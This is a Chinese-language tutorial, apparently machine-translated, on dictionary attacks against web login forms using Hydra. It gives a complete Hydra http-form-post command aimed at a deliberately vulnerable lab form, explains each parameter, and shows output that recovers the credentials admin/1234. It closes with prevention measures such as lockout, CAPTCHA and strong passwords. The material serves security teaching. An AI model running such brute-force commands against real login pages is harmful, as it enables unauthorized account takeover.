📜  基于Web的登录自动进行暴力破解

📅  最后修改于: 2021-04-16 09:05:24             🧑  作者: Mango

蛮力攻击的工作方式是计算出可能构成密码的每种可能的组合,并对其进行测试以查看其是否为正确的密码。随着密码长度的增加,找到正确密码的时间平均会成倍增加。这意味着通常可以很快找到短密码,但是较长的密码可能需要数十年的时间[来源:Wiki]

在某些情况下,随着计算机硬件越来越快,这可能是可行的。一种简单的暴力攻击将以一个数字密码开始,然后以两个数字密码开始,依此类推,尝试所有可能的组合,直到一个可行。

更好的主意是“字典式攻击”,它尝试使用词典中的单词(或一系列常用密码)代替所有可能的密码。这是非常有效的,因为许多人都使用这种弱而通用的密码。

我们可以使用自动化工具来强制执行基于Web的登录表单

使用Hydra对基于Web的登录表单进行字典攻击
Hydra是用于字典攻击的在线密码破解工具。它尝试用户名和密码的列表,直到找到成功的登录为止。它是多线程的,可以每分钟数千个的速度尝试用户名/密码组合[来源

Hydra可用于攻击许多不同的服务,包括IMAP,SMB,HTTP,VNC,MS-SQL MySQL,SMTP,SSH等

该工具不得用于未经您许可而攻击网站或服务。仅将其用于合法测试目的。

攻击示例
Web Security Dojo具有各种易受攻击的应用程序,您可以使用它们来测试这些技术。因此,看一个示例,w3af测试框架在以下位置有一个测试登录名

http://192.168.1.69/w3af/bruteforce/form_login/

HTML表单的重要部分包括:

Username:    Password:

如果我们输入了错误的用户名和密码组合,则会得到:

错误的登录名,请停止强加我!用户的不正确的u / p组合:
因此,现在我们有了攻击该登录表单所需的信息,我们可以使用此信息来构造九头蛇暴力攻击,如下所示:

hydra 192.168.1.69 http-form-post "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt

如果我们分手

Host = 192.168.1.69
Method = http-form-post
URL = /w3af/bruteforce/form_login/dataReceptor.php
Form parameters = user=^USER^&pass=^PASS^
Failure response = Bad login
Users file = users.txt
Password file = pass.txt
Threads = -t 10
Wait for timeout = -w 30
Output file = -o hydra-http-post-attack.txt

Hydra基本上会遍历所有用户名/密码组合,直到得到一个不包含“ Bad login”文本的响应。当我们进行此攻击时,我们得到:

Hydra basically iterates through all the username/password combinations, until it gets a response that does not contain the text "Bad login". When we run this attack we get:



Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.Hydra (http://www.thc.org/thc-hydra) starting at 2011-08-22 13:11:03
[DATA] 5 tasks, 1 servers, 5 login tries (l:5/p:1), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for 192.168.1.69 (waiting for children to finish)
[80][www-form] host: 192.168.1.69   login: admin   password: 1234
Hydra (http://www.thc.org/thc-hydra) finished at 2011-08-22 13:11:07

As you can see, this was successful and found the user "admin" with password "1234".

预防

  1. 首先是实施帐户锁定策略。例如,在三次失败的登录尝试后,该帐户将被锁定,直到管理员将其解锁为止。
  2. 我们应该使用质询-响应测试来防止自动提交登录页面。诸如免费的reCAPTCHA之类的工具可用于要求用户输入单词或解决简单的数学问题,以确保用户实际上是一个人。
  3. 任何Web应用程序都应强制使用强密码。至少,要求用户选择八个字母或更多且具有一定复杂性的密码(字母和数字,或需要一个特殊字符),是抵御暴力攻击的极好的防御手段。

资料来源
http://searchsecurity.techtarget.com/definition/brute-force-cracking
https://zh.wikipedia.org/wiki/Brute-force_attack
https://hackertarget.com/brute-forcing-passwords-with-ncrack-hydra-and-medusa/
https://sourceforge.net/projects/websecuritydojo/